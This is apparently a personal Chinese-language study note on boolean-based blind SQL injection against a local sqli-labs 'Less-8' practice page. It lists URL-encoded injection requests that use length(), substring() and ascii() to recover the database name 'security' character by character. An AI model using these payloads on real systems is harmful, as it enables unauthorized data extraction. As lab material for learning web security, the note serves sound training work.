什么时候使用布尔盲注
在页面没有显示位的时候使用盲注
length(database())=1
获取到了数据库长度
请求:localhost/Less-8/index.php?id=1%27%20and%20length(database())=8%20--%2011
返回:正常
用到两个函数
substring 截取字符串(1.截取哪个字符串, 2 从哪一位开始,3 取几位)
获取数据库库名:
http://localhost/Less-8/index.php?id=1%27%20and%20(select%20substring(database(),1,1))=%27s%27%20--%201 获取库名的第一位
ascii
http://localhost/Less-8/index.php?id=1%27%20and%20(select%20ascii(substring(database(),1,1)))=1%20--%201 通过ascii编码获取数据库名第一位
http://localhost/Less-8/index.php?id=1%27%20and%20(select%20ascii(substring(database(),2,1)))=1%20--%201 通过ascii编码获取数据库名第二位
结果:
115 101 99 117 114 105 116 121
s e c u r i t y
回顾: